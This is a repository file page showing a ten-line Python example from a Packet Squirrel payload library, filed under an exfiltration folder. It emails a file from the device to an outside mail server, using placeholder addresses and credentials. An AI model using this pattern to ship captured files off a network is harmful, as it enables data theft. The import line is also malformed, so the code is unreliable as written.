Files
packetsquirrel-payloads/payloads/library/exfiltration/Email-Sender/sendmail.py
TheDragonkeeper 9339c28321 Sending Emails
This is an example the call the libraries make to the extension to send the mail.
2017-11-04 12:49:48 +00:00

10 lines
377 B
Python

import sys
sys.path.append("/root/extensions")
from sendemail.py import send_mail
send_mail('im-just-a-squirrel@giving-you-my-nuts.net', 'EmailTo@SendTo.net',
'You Got My Nuts',
'Enjoy this package',
files=["/Path/To/My/Nuts.txt"],
server='MAIL.SERVER.com', username='USERNAME', password='PASSWORD')